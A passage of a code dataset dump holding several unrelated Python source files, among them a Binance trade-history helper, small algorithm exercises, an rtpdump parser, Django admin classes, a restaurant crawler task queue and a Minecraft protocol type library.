lp_v = []\n l_c = []\n l_v = []\n for key, val in depth.items():\n if key == 'bids': # Compras\n for j in val:\n lp_c.append(float(j[0]))\n l_c.append(round(float(j[1]),2))\n # print(key,len(val))\n elif key == 'asks': # Ventas\n # print(key,len(val))\n for j in val:\n # print(j)\n lp_v.append(float(j[0]))\n l_v.append(round(float(j[1]),2))\n df = pd.DataFrame({'Q_venta': l_v,\n 'P_venta': lp_v,\n 'Q_compra':l_c,\n 'P_compra':lp_c})\n df.tail()\n return df\n\n\n\n# isBuyerMaker: true => la operación fue iniciada por el lado de la venta; el lado de la compra ya era el libro de pedidos. es compra\n# isBuyerMaker: false => la operación fue iniciada por el lado comprador; el lado de la venta ya era el libro de pedidos es venta False = orden de mercado. no pasa por el libro.\n# qty: cantidad de cripto \n# quoteQty: Total de compra en USDT\ndef historical_trades(cliente,simbolo, ago, limite=1000,fromid=None):\n# Esta funcion retorna un df que contiene el historial de trades\n# from perfil_binance import cuenta_binance as cb\n# client = Client('', '')\n# cliente = cb('demo')\n# simolo = 'TRXUSDT'\n# ago = 5 ; los ultimos trades de hace 5 minutos, este parametro es entero y representa minutos unicamente\n# limite = 1 hasta 1000\n# fromid = probar cualquier id.\n# # isBuyerMaker: true => es compra\n# isBuyerMaker: false => es venta\n '''\n trades = cliente.get_historical_trades(symbol=simbolo, limit=limite, fromid=fromid)\n df = pd.DataFrame(trades)\n df['price'] = df['price'].astype('float16')\n df['qty'] = df['qty'].astype('float64')\n df['time'] = pd.to_datetime(df['time'],unit = 'ms' )\n df['quoteQty'] = df['quoteQty'].astype('float64')\n df.drop(columns='isBestMatch', axis = 1, inplace=True)\n df = df.round({ 'qty':1, 'quoteQty':3})\n''' \n \n trades = cliente.get_historical_trades(symbol='BTCUSDT', limit=1000 )# , fromId =dfp.id.min()-1000)\n dfp = pd.DataFrame(trades)\n dfp['time'] = pd.to_datetime(dfp['time'],unit = 'ms' )\n\n \n ahora = datetime.now()\n tb = ahora - timedelta(minutes = ago) + timedelta(hours=5)\n date_min = dfp.time.min()\n\n\n # print(dfp.shape, '*********')\n #print('Time buscado ', tb)\n while date_min>tb:\n trades = cliente.get_historical_trades(symbol='BTCUSDT', limit=1000 , fromId =dfp.id.min()-1000)\n dfpp = pd.DataFrame(trades)\n dfpp['time'] = pd.to_datetime(dfpp['time'],unit = 'ms' )\n #dfp.time = df.time - timedelta(hours=5)\n date_min = dfpp.time.min()\n #print(dfpp.time.min())\n dfp = dfp.append(dfpp, ignore_index = True)\n dfp['price'] = dfp['price'].astype('float16')\n dfp['qty'] = dfp['qty'].astype('float64')\n dfp['quoteQty'] = dfp['quoteQty'].astype('float64')\n dfp.drop(columns='isBestMatch', axis = 1, inplace=True)\n dfp = dfp.round({ 'qty':1, 'quoteQty':3})\n \n return dfp","repo_name":"HectorLP98/Proyecto1_Trading","sub_path":"Datasets.py","file_name":"Datasets.py","file_ext":"py","file_size_in_byte":6043,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20196141692","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n# Complete the bonAppetit function below.\ndef bonAppetit(bill, k, b):\n total_price = 0\n for i in bill:\n total_price += i\n anas_eaten_prices = total_price - bill[k]\n share = anas_eaten_prices // 2\n if b == share:\n print(\"Bon Appetit\")\n else:\n change = b - share\n print(change)\n\n\nif __name__ == '__main__':\n nk = input().rstrip().split()\n\n n = int(nk[0])\n\n k = int(nk[1])\n\n bill = list(map(int, input().rstrip().split()))\n\n b = int(input().strip())\n\n bonAppetit(bill, k, b)\n","repo_name":"miruts-xz/competitive-programming","sub_path":"contests/contest-1/bill_division.py","file_name":"bill_division.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28737959529","text":"#!/usr/bin/python3\n\"\"\"Prints an integer.\"\"\"\n\n\ndef safe_print_integer(value):\n \"\"\"Print an integer with \"{:d}\".format().\n Args:\n value (int): The integer to print.\"\"\"\n try:\n print(\"{:d}\".format(value))\n return (True)\n except (TypeError, ValueError):\n return (False)\n","repo_name":"emmylem/alx-higher_level_programming","sub_path":"0x05-python-exceptions/1-safe_print_integer.py","file_name":"1-safe_print_integer.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1341385456","text":"#!/usr/bin/env python\n\nfrom construct import *\n\n###############################################################################\n# rtpdump file parser.\n# Reference: http://web4.cs.columbia.edu/irt/software/rtptools/\n###############################################################################\nRtpDumpHeader = Struct(\n \"tv_sec\" / Int32ub,\n \"tv_usec\" / Int32ub,\n \"source\" / Int32ub,\n \"port\" / Int16ub,\n \"padding\" / Int16ub,\n)\nRtpDumpPacket = Struct(\n \"length\" / Int16ub,\n \"plen\" / Int16ub,\n \"time_offset\" / Int32ub,\n \"data\" / Array(this.length - 8, Byte),\n)\nRtpDumpFile = Struct(\n \"start_line\" / NullTerminated(Byte, term=b\"\\x0a\"),\n \"header\" / RtpDumpHeader,\n \"packets\" / GreedyRange(RtpDumpPacket),\n)\n","repo_name":"LyuOnLine/rtp-analyzer","sub_path":"rtp/rtpdump_file.py","file_name":"rtpdump_file.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26121372313","text":"\n\nclass CircleQueue:\n def __init__(self, max_size):\n self.data = [None] * max_size\n self.max = max_size\n self.size = 0\n self.h = 0 # head of queue\n self.t = 0 # tail of queue\n\n def enqueue(self, elem):\n if self.size == self.max: # special case: full\n return \"queue is full!\"\n self.data[self.t] = elem # set TAIL to elem\n self.size += 1 # increment size\n self.t = (self.t+1) % self.max # increment TAIL without going outside the queue\n return True\n\n def dequeue(self):\n if self.size == 0: # special case: empty\n return \"queue is empty!\"\n head = self.data[self.h] # fetch value from HEAD\n self.data[self.h] = None # replace value with None\n self.size -= 1 # decrement size\n self.h = (self.h+1) % self.max # increment HEAD without going outside the queue\n return head\n\n def to_string(self):\n string = \"\"\n for i in range(self.max): # iterates through each elem in the queue and prints the appropriate substring\n if i == self.h and i == self.t: # handles elems that are HEAD and TAIL\n if self.data[i] is None: # checks if elem is None or has value\n add = \"HEAD->[]->TAIL \"\n else:\n add = f\"HEAD->[{self.data[i]}]->TAIL \"\n string += add\n\n if i == self.h and i != self.t: # handles if an elem is just HEAD\n if self.data[i] is None: # checks if elem is None or has value\n add = f\"HEAD->[] \"\n else:\n add = f\"HEAD->[{self.data[i]}] \"\n string += add\n\n if i == self.t and i != self.h: # handles if an elem is just TAIL\n if self.data[i] is None: # checks if elem is None or has value\n add = f\"[]->TAIL \"\n else:\n add = f\"[{self.data[i]}]->TAIL \"\n string += add\n\n if i != self.h and i != self.t and self.data[i] is not None: # handles if elem is just a value in the queue\n add = f\"[{self.data[i]}] \"\n string += add\n\n if i != self.h and i != self.t and self.data[i] is None: # handles if elem is just None in the queue\n add = \"[] \"\n string += add\n return string\n","repo_name":"cainsusk/Queens","sub_path":"y2.2/CISC235/Assignments/A1/q3/q3_fx.py","file_name":"q3_fx.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20744581489","text":"def sorted_squares(arr):\n \"\"\"\n Time Complexity: O(n)\n Space Complexity: O(n)\n \"\"\"\n n = len(arr)\n\n i = 0\n while arr[i] < 0:\n i += 1\n\n pos_ptr = i\n neg_ptr = i-1\n result = []\n\n while 0 <= neg_ptr or pos_ptr < n:\n neg_idx_val = abs(arr[neg_ptr]) if neg_ptr >= 0 else float('inf')\n pos_idx_val = arr[pos_ptr] if pos_ptr < n else float('inf')\n\n if pos_idx_val < neg_idx_val:\n x = pos_idx_val\n pos_ptr += 1\n else:\n x = neg_idx_val\n neg_ptr -= 1\n\n result.append(x*x)\n\n return result\n\n\nprint(sorted_squares([-4, -1, 0, 3, 10]))\n","repo_name":"mohanakrishnavh/Data-Structures-and-Algorithms-in-Python","sub_path":"leetcode/sorted_squares.py","file_name":"sorted_squares.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"40960840701","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.contrib.auth.models import User\n\nfrom referentie_tabellen.models import (\n SpatialDimensionType,\n TemporalDimensionType,\n Theme,\n Unit,\n)\n\nadmin.site.unregister(User)\n\n\n@admin.register(User)\nclass CustomUserAdmin(UserAdmin):\n \"\"\"Custum UsterAdmin\"\"\"\n\n def get_form(self, request, obj=None, **kwargs):\n form = super().get_form(request, obj, **kwargs)\n is_superuser = request.user.is_superuser\n disabled_fields = set()\n\n if not is_superuser:\n disabled_fields |= {\n \"is_superuser\",\n \"user_permissions\",\n }\n\n # Prevent non-superusers from editing their own permissions\n if not is_superuser and obj == request.user:\n disabled_fields |= {\n \"is_staff\",\n \"is_superuser\",\n \"groups\",\n \"user_permissions\",\n }\n\n for f in disabled_fields:\n if f in form.base_fields:\n form.base_fields[f].disabled = True\n\n return form\n\n\n# referentie tabellen\n@admin.register(TemporalDimensionType)\nclass TemporalDimensionTypeAdmin(admin.ModelAdmin):\n list_display = (\"name\", \"id\")\n ordering = (\"id\",)\n\n\n@admin.register(Unit)\nclass UnitAdmin(admin.ModelAdmin):\n list_display = (\"name\", \"code\", \"symbol\", \"id\")\n ordering = (\"id\",)\n\n\n@admin.register(Theme)\nclass ThemeAdmin(admin.ModelAdmin):\n list_display = (\"name\", \"id\")\n ordering = (\"id\",)\n\n\n@admin.register(SpatialDimensionType)\nclass SpatialDimensionTypeAdmin(admin.ModelAdmin):\n list_display = (\"name\", \"source\", \"id\")\n list_filter = (\"source\",)\n ordering = (\"id\",)\n","repo_name":"Amsterdam/statistiekhub-backend-django","sub_path":"src/referentie_tabellen/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44268561637","text":"# coding=utf-8\nfrom flask import jsonify\n\nfrom pear.crawlers import CRAWLER_TYPES\nfrom pear.crawlers.crawler_ele import CrawlEleDishes\nfrom pear.jobs.job_queue import JobQueue\nfrom pear.models.restaurant import RestaurantDao\n\n\n@JobQueue.task('crawlers')\ndef save_ele_restaurants(restaurant_id, name, source, sales=0, arrive_time=0, send_fee=0, score=0, latitude=None,\n longitude=None, image=None):\n restaurant = RestaurantDao.get_by_restaurant_id(restaurant_id)\n if restaurant:\n RestaurantDao.update_by_restaurant_id(restaurant_id, name=name, source=source, sales=sales,\n arrive_time=arrive_time, send_fee=send_fee, score=score,\n latitude=latitude, longitude=longitude, image=image)\n else:\n RestaurantDao.create(restaurant_id, name, source, sales, arrive_time, send_fee, score, latitude, longitude,\n image)\n\n\n@JobQueue.task('crawlers')\ndef commit_ele_crawler_task(cookies, args):\n crawler = CrawlEleDishes(CRAWLER_TYPES['ele_crawler'], cookies, args)\n crawler.crawl()\n\n\ndef __create_ele(request):\n try:\n cookies = request.cookies\n data_list = request.json\n for data in data_list:\n latitude = data.get('latitude')\n longitude = data.get('longitude')\n if not data.get('restaurant') or not latitude or not longitude:\n return jsonify(success=False), 404\n args = {\n 'restaurant': {\n 'id': data.get('restaurant').get('id'),\n 'latitude': data.get('restaurant').get('latitude'),\n 'longitude': data.get('restaurant').get('longitude'),\n },\n 'latitude': latitude,\n 'longitude': longitude\n }\n commit_ele_crawler_task.put(cookies=cookies, args=args)\n return jsonify(success=True)\n except Exception as e:\n return jsonify(success=False, message=e.message.__str__()), 500\n\n\ncreate_crawler_funcs = {\n 'ele': __create_ele\n}\n","repo_name":"mywenchang/RestaurantCrawler-Pear","sub_path":"pear/web/controllers/comm.py","file_name":"comm.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"18033158260","text":"import io\nimport struct\nimport asyncio\nimport json\nimport uuid\n\nimport logging\nimport pynbt\n\nfrom typing import List, Tuple, Dict, Any, Union, Optional, Callable, Type as Class\n\nfrom .definitions import Item\n\nclass Context(object):\n\tdef __init__(self, **kwargs):\n\t\tfor k, v in kwargs.items():\n\t\t\tsetattr(self, k, v)\n\n\tdef serialize(self) -> dict:\n\t\treturn vars(self) # is this reliable?\n\n\tdef __getattr__(self, name) -> Any:\n\t\treturn None # return None rather than raising an exc\n\n\tdef __str__(self) -> str:\n\t\treturn json.dumps(self.serialize(), indent=2, default=str, sort_keys=True)\n\n\tdef __repr__(self) -> str:\n\t\tvalues = ( f\"{k}={repr(v)}\" for k,v in vars(self).items() )\n\t\treturn f\"Context({', '.join(values)})\"\n\nclass Type(object):\n\tpytype : Union[type, Callable] = lambda x : x\n\n\tdef write(self, data:Any, buffer:io.BytesIO, ctx:Context) -> None:\n\t\t\"\"\"Write data to a packet buffer\"\"\"\n\t\traise NotImplementedError\n\t\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> Any:\n\t\t\"\"\"Read data off a packet buffer\"\"\"\n\t\traise NotImplementedError\n\n\tdef check(self, ctx:Context) -> bool:\n\t\t\"\"\"Check if this type exists in this context\"\"\"\n\t\treturn True\n\nclass VoidType(Type):\n\n\tdef write(self, v:None, buffer:io.BytesIO, ctx:Context):\n\t\tpass\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> None:\n\t\treturn None\n\nVoid = VoidType()\n\nclass UnimplementedDataType(Type):\n\tpytype : type = bytes\n\n\tdef write(self, data:bytes, buffer:io.BytesIO, ctx:Context):\n\t\tif data:\n\t\t\tbuffer.write(data)\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> bytes:\n\t\treturn buffer.read()\n\nTrailingData = UnimplementedDataType()\n\nclass PrimitiveType(Type):\n\tsize : int\n\tfmt : str\n\n\tdef __init__(self, pytype:type, fmt:str, size:int):\n\t\tself.pytype = pytype\n\t\tself.fmt = fmt\n\t\tself.size = size\n\n\tdef write(self, data:Any, buffer:io.BytesIO, ctx:Context):\n\t\tbuffer.write(struct.pack(self.fmt, data))\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> Any:\n\t\treturn struct.unpack(self.fmt, buffer.read(self.size))[0]\n\nBoolean = PrimitiveType(bool, \">?\", 1)\nByte = PrimitiveType(int, \">b\", 1)\nUnsignedByte = PrimitiveType(int, \">B\", 1)\nShort = PrimitiveType(int, \">h\", 2)\nUnsignedShort = PrimitiveType(int, \">H\", 2)\nInt = PrimitiveType(int, \">i\", 4)\nUnsignedInt = PrimitiveType(int, \">I\", 4)\nLong = PrimitiveType(int, \">q\", 8)\nUnsignedLong = PrimitiveType(int, \">Q\", 8)\nFloat = PrimitiveType(float, \">f\", 4)\nDouble = PrimitiveType(float, \">d\", 8)\nAngle = PrimitiveType(int, \">b\", 1)\n\ndef nbt_to_py(item:pynbt.BaseTag) -> Any:\n\tif isinstance(item, pynbt.TAG_Compound):\n\t\treturn { k: nbt_to_py(v) for k,v in dict(item).items() }\n\tif isinstance(item, pynbt.TAG_List):\n\t\treturn [ nbt_to_py(v) for v in list(item) ]\n\tif isinstance(item, pynbt.BaseTag):\n\t\treturn item.value\n\treturn item\n\nclass NBTType(Type):\n\tpytype : type = dict\n\n\tdef write(self, data:Optional[dict], buffer:io.BytesIO, ctx:Context):\n\t\tif data is None:\n\t\t\tbuffer.write(b'\\x00')\n\t\telse:\n\t\t\tpynbt.NBTFile(value=data).save(buffer)\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> Optional[dict]:\n\t\thead = Byte.read(buffer, ctx)\n\t\tif head == 0x0:\n\t\t\treturn None\n\t\tbuffer.seek(-1,1) # go back 1 byte\n\t\treturn nbt_to_py(pynbt.NBTFile(io=buffer))\n\nNBTTag = NBTType()\n\nclass VarLenPrimitive(Type):\n\tpytype : type = int\n\tmax_bytes : int\n\n\tdef __init__(self, max_bytes:int):\n\t\tself.max_bytes = max_bytes\n\n\tdef write(self, data:int, buffer:io.BytesIO, ctx:Context):\n\t\tcount = 0 # TODO raise exceptions\n\t\twhile count < self.max_bytes:\n\t\t\tbyte = data & 0b01111111\n\t\t\tdata >>= 7\n\t\t\tif data > 0:\n\t\t\t\tbyte |= 0b10000000\n\t\t\tbuffer.write(struct.pack(\"B\", byte))\n\t\t\tcount += 1\n\t\t\tif not data:\n\t\t\t\tbreak\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> int:\n\t\tnumRead = 0\n\t\tresult = 0\n\t\twhile True:\n\t\t\tdata = buffer.read(1)\n\t\t\tif len(data) < 1:\n\t\t\t\traise ValueError(\"VarInt/VarLong is too short\")\n\t\t\tbuf = int.from_bytes(data, 'little')\n\t\t\tresult |= (buf & 0b01111111) << (7 * numRead)\n\t\t\tnumRead +=1\n\t\t\tif numRead > self.max_bytes:\n\t\t\t\traise ValueError(\"VarInt/VarLong is too big\")\n\t\t\tif buf & 0b10000000 == 0:\n\t\t\t\tbreak\n\t\treturn result\n\n\t# utility methods since VarInt is super used\n\n\tdef serialize(self, data:int) -> bytes:\n\t\tbuf = io.BytesIO()\n\t\tself.write(data, buf, Context())\n\t\tbuf.seek(0)\n\t\treturn buf.read()\n\n\tdef deserialize(self, data:bytes) -> int:\n\t\tbuf = io.BytesIO(data)\n\t\treturn self.read(buf, Context())\n\nVarInt = VarLenPrimitive(5)\nVarLong = VarLenPrimitive(10)\n\nclass StringType(Type):\n\tpytype : type = str\n\n\tdef write(self, data:str, buffer:io.BytesIO, ctx:Context):\n\t\tencoded = data.encode('utf-8')\n\t\tVarInt.write(len(encoded), buffer, ctx=ctx)\n\t\tbuffer.write(encoded)\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> str:\n\t\tlength = VarInt.read(buffer, ctx=ctx)\n\t\treturn buffer.read(length).decode('utf-8')\n\nString = StringType()\nChat = StringType()\nIdentifier = StringType()\n\nclass BufferType(Type):\n\tpytype : type = bytes\n\tcount : Type\n\n\tdef __init__(self, count:Type = VarInt):\n\t\tself.count = count\n\n\tdef write(self, data:bytes, buffer:io.BytesIO, ctx:Context):\n\t\tself.count.write(len(data), buffer, ctx=ctx)\n\t\tbuffer.write(data)\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> bytes:\n\t\tlength = self.count.read(buffer, ctx=ctx)\n\t\treturn buffer.read(length)\n\nByteArray = BufferType()\nIntegerByteArray = BufferType(Int)\n\ndef twos_comp(val, bits):\n\t\"\"\"compute the 2's complement of int value val\"\"\"\n\tif (val & (1 << (bits - 1))) != 0: # if sign bit is set e.g., 8bit: 128-255\n\t\tval = val - (1 << bits) # compute negative value\n\treturn val # return positive value as is\n\n\nclass PositionType(Type):\n\tpytype : type = tuple\n\tMAX_SIZE : int = 8\n\n\t# TODO THIS IS FOR 1.12.2!!! Make a generic version-less?\n\n\tdef write(self, data:tuple, buffer:io.BytesIO, ctx:Context):\n\t\tpacked = ((0x3FFFFFF & data[0]) << 38) \\\n\t\t\t| ((0xFFF & data[1]) << 26) \\\n\t\t\t| (0x3FFFFFF & data[2])\n\t\tUnsignedLong.write(packed, buffer, ctx=ctx)\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> tuple:\n\t\tpacked = UnsignedLong.read(buffer, ctx)\n\t\tx = twos_comp(packed >> 38, 26)\n\t\ty = (packed >> 26) & 0xFFF\n\t\tz = twos_comp(packed & 0x3FFFFFF, 26)\n\t\treturn (x, y, z)\n\nPosition = PositionType()\n\nclass UUIDType(Type):\n\tpytype : type = uuid.UUID\n\tMAX_SIZE : int = 16\n\n\tdef write(self, data:uuid.UUID, buffer:io.BytesIO, ctx:Context):\n\t\tbuffer.write(int(data).to_bytes(self.MAX_SIZE, 'big'))\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> uuid.UUID:\n\t\treturn uuid.UUID(int=int.from_bytes(buffer.read(self.MAX_SIZE), 'big'))\n\nUUID = UUIDType()\n\nclass ArrayType(Type):\n\tpytype : type = list\n\tcounter : Union[int, Type]\n\tcontent : Type\n\n\tdef __init__(self, content:Type, counter:Union[int, Type] = VarInt):\n\t\tself.content = content\n\t\tself.counter = counter\n\n\tdef write(self, data:List[Any], buffer:io.BytesIO, ctx:Context):\n\t\tif isinstance(self.counter, Type):\n\t\t\tself.counter.write(len(data), buffer, ctx=ctx)\n\t\tfor i, el in enumerate(data):\n\t\t\tself.content.write(el, buffer, ctx=ctx)\n\t\t\tif isinstance(self.counter, int) and i >= self.counter:\n\t\t\t\tbreak # jank but should do\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> List[Any]:\n\t\tlength = self.counter if isinstance(self.counter, int) else self.counter.read(buffer, ctx=ctx)\n\t\tout = []\n\t\tfor _ in range(length):\n\t\t\tout.append(self.content.read(buffer, ctx=ctx))\n\t\treturn out\n\nclass OptionalType(Type):\n\tt : Type\n\n\tdef __init__(self, t:Type):\n\t\tself.t = t\n\t\tself.pytype = t.pytype\n\n\tdef write(self, data:Optional[Any], buffer:io.BytesIO, ctx:Context):\n\t\tBoolean.write(bool(data), buffer, ctx=ctx)\n\t\tif data:\n\t\t\tself.t.write(data, buffer, ctx=ctx)\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> Optional[Any]:\n\t\tif Boolean.read(buffer, ctx=ctx):\n\t\t\treturn self.t.read(buffer, ctx=ctx)\n\t\treturn None\n\nclass SwitchType(Type):\n\tfield : str\n\tmappings : Dict[Any, Type]\n\n\tdef __init__(self, watch:str, mappings:Dict[Any, Type], default:Type = None):\n\t\tself.field = watch\n\t\tself.mappings = mappings\n\t\tself.default = default\n\n\tdef write(self, data:Any, buffer:io.BytesIO, ctx:Context):\n\t\twatched = getattr(ctx, self.field, None)\n\t\tif watched is not None and watched in self.mappings:\n\t\t\treturn self.mappings[watched].write(data, buffer, ctx=ctx)\n\t\telif self.default:\n\t\t\treturn self.default.write(data, buffer, ctx=ctx)\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> Optional[Any]:\n\t\twatched = getattr(ctx, self.field, None)\n\t\tif watched is not None and watched in self.mappings:\n\t\t\treturn self.mappings[watched].read(buffer, ctx=ctx)\n\t\telif self.default:\n\t\t\treturn self.default.read(buffer, ctx=ctx)\n\t\treturn None\n\nclass StructType(Type): # TODO sub objects\n\tpytype : type = dict\n\tfields : Tuple[Tuple[str, Type], ...]\n\n\tdef __init__(self, *args:Tuple[str, Type]):\n\t\tself.fields = args\n\n\tdef write(self, data:Dict[str, Any], buffer:io.BytesIO, ctx:Context):\n\t\tfor k, t in self.fields:\n\t\t\tt.write(data[k], buffer, ctx=ctx)\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> Dict[str, Any]:\n\t\treturn { k : t.read(buffer, ctx=ctx) for k, t in self.fields }\n\nclass SlotType(Type):\n\tpytype : type = Item\n\n\tdef write(self, data:Item, buffer:io.BytesIO, ctx:Context):\n\t\tnew_way = ctx._proto > 340\n\t\tcheck_type = Boolean if new_way else Short\n\t\tif data:\n\t\t\tcheck_type.write(True if new_way else data.id, buffer, ctx)\n\t\t\tif new_way:\n\t\t\t\tVarInt.write(data.id, buffer, ctx)\n\t\t\tByte.write(data.count, buffer, ctx)\n\t\t\tif not new_way:\n\t\t\t\tShort.write(data.damage, buffer, ctx)\n\t\t\tNBTTag.write(data.nbt, buffer, ctx) # TODO handle None maybe?\n\t\telse:\n\t\t\tcheck_type.write(False if new_way else -1, buffer, ctx)\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> Item:\n\t\tslot : Dict[Any, Any] = {}\n\t\tnew_way = ctx._proto > 340\n\t\tcheck_type = Boolean if new_way else Short\n\t\tval = check_type.read(buffer, ctx)\n\t\tif (new_way and val) or val != -1:\n\t\t\tif new_way:\n\t\t\t\tslot[\"id\"] = VarInt.read(buffer, ctx)\n\t\t\telse:\n\t\t\t\tslot[\"id\"] = val\n\t\t\tslot[\"count\"] = Byte.read(buffer, ctx)\n\t\t\tif not new_way:\n\t\t\t\tslot[\"damage\"] = Short.read(buffer, ctx)\n\t\t\tslot[\"nbt\"] = NBTTag.read(buffer, ctx)\n\t\treturn Item(**slot)\n\nSlot = SlotType()\n\n# wiki.vg does not document these anymore. Minecraft 1.12.2 has these as metadata types\n_ENTITY_METADATA_TYPES = {\n\t0 : Byte,\n\t1 : VarInt,\n\t2 : Float,\n\t3 : String,\n\t4 : Chat,\n\t5 : Slot,\n\t6 : Boolean,\n\t7 : StructType((\"x\", Float), (\"y\", Float), (\"z\", Float)), # Rotation\n\t8 : Position,\n\t9 : OptionalType(Position),\n\t10 : VarInt, # Direction (Down = 0, Up = 1, North = 2, South = 3, West = 4, East = 5)\n\t11 : OptionalType(UUID),\n\t12 : VarInt, # OptBlockID (VarInt) 0 for absent (implies air); otherwise, a block state ID as per the global palette\n\t13 : NBTTag,\n}\n\n_ENTITY_METADATA_TYPES_NEW = {\n\t0 : Byte,\n\t1 : VarInt,\n\t2 : Float,\n\t3 : String,\n\t4 : Chat,\n\t5 : OptionalType(Chat), # Chat is present if the Boolean is set to true\n\t6 : Slot,\n\t7 : Boolean,\n\t8 : StructType((\"x\", Float), (\"y\", Float), (\"z\", Float)), # Rotation\n\t9 : Position,\n\t10 : OptionalType(Position),\n\t11 : VarInt, # Direction (Down = 0, Up = 1, North = 2, South = 3, West = 4, East = 5)\n\t12 : OptionalType(UUID),\n\t13 : VarInt, # OptBlockID (VarInt) 0 for absent (implies air); otherwise, a block state ID as per the global palette\n\t14 : NBTTag,\n\t15 : TrailingData, # Particle, # TODO!\n\t16 : StructType((\"type\", VarInt), (\"profession\", VarInt), (\"level\", VarInt)), # Villager Data\n\t17 : OptionalType(VarInt), # Used for entity IDs.\n\t18 : VarInt, # Pose 0: STANDING, 1: FALL_FLYING, 2: SLEEPING, 3: SWIMMING, 4: SPIN_ATTACK, 5: SNEAKING, 6: LONG_JUMPING, 7: DYING \n}\n\nclass EntityMetadataType(Type):\n\tpytype : type = dict\n\n\tdef write(self, data:Dict[int, Any], buffer:io.BytesIO, ctx:Context):\n\t\tlogging.error(\"Sending entity metadata isn't implemented yet\") # TODO\n\t\tbuffer.write(b'\\xFF')\n\n\tdef read(self, buffer:io.BytesIO, ctx:Context) -> Dict[int, Any]:\n\t\ttypes_map = _ENTITY_METADATA_TYPES_NEW if ctx._proto > 340 else _ENTITY_METADATA_TYPES\n\t\tout : Dict[int, Any] = {}\n\t\twhile True:\n\t\t\tindex = UnsignedByte.read(buffer, ctx)\n\t\t\tif index == 0xFF:\n\t\t\t\tbreak\n\t\t\ttp = VarInt.read(buffer, ctx)\n\t\t\tout[index] = types_map[tp].read(buffer, ctx)\n\t\treturn out\n\nEntityMetadata = EntityMetadataType()\n","repo_name":"alemidev/aiocraft","sub_path":"aiocraft/mc/types.py","file_name":"types.py","file_ext":"py","file_size_in_byte":12099,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"20192929673","text":"import Conns\nimport Spider\nimport time\nimport Analyzer\nimport Model\n\nclass Main:\n def __init__(self):\n self.conn = Conns.Conns()\n self.spider = Spider.Spider()\n self.analyzer = Analyzer.Analyzer()\n\n def Run(self):\n print(\"Start Spider\")\n while 1:\n task = self.conn.get_task()\n\n # Spider Step\n task.status = 3 # update status\n comment_cnt, good_rate = self.spider.run(task.id, task.itemId)\n task.commentCount = comment_cnt\n task.goodRate = good_rate\n try:\n self.analyzer.process(task.id)\n except Exception as e:\n print(task.id, e)\n task.status = 4\n\n\n\nif __name__ == '__main__':\n l = Main()\n l.Run()\n","repo_name":"ErrEqualsNil/SEDesign","sub_path":"PythonPart/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21621607660","text":"from sys import argv\n\ndef is_prime(n, p = dict()):\n if n in p:\n return p[n]\n if n < 2:\n return False\n for x in range(2, int(n ** (1 / 2)) + 1):\n if n % x == 0:\n p[n] = False\n break\n if not n in p:\n p[n] = True\n return p[n]\n\ndef factorize(n, memo=dict()):\n if n < 2:\n return set()\n f = memo.get(n, None)\n if f == None:\n f = set()\n f.add(1)\n f.add(n)\n x = 2\n l = n // 2\n sqrt_n = int(n ** (1 / 2)) + 1\n while x <= l:\n if x > sqrt_n and len(f) == 2:\n return f\n if n % x == 0:\n l = n // x\n f.add(x)\n if not n // x in f:\n for y in factorize(n // x):\n f.add(y)\n x += 1\n memo[n] = f\n return f\n\ndef count_distinct_prime_factors(x, n, f = dict()):\n for i in range(x, x + n):\n if not i in f:\n f[i] = factorize(i)\n if len([x for x in f[i] - set([1, i]) if is_prime(x)]) != n:\n return i - x\n return n\n\nn = int(argv[1])\nx = 0\nwhile 1:\n c = count_distinct_prime_factors(x, n)\n if c == n:\n print(x)\n exit()\n x += c + 1\n","repo_name":"johnoliverdriscoll/project-euler","sub_path":"py/euler-0047.py","file_name":"euler-0047.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15385254065","text":"import networkx as nx\nimport matplotlib.pyplot as plt\n\nG=nx.DiGraph()\n#read file\nreadFile=open(\"libraryUpgrade.txt\",\"r\")\nfor line in readFile:\n\tspline=line.split(\",\")\n\tif (int (spline[2])==1):\n\t\tG.add_edge(spline[0],spline[1],color='r')\n\telse:\n\t\tG.add_edge(spline[0],spline[1],color='g')\n\t\t\n\n\t 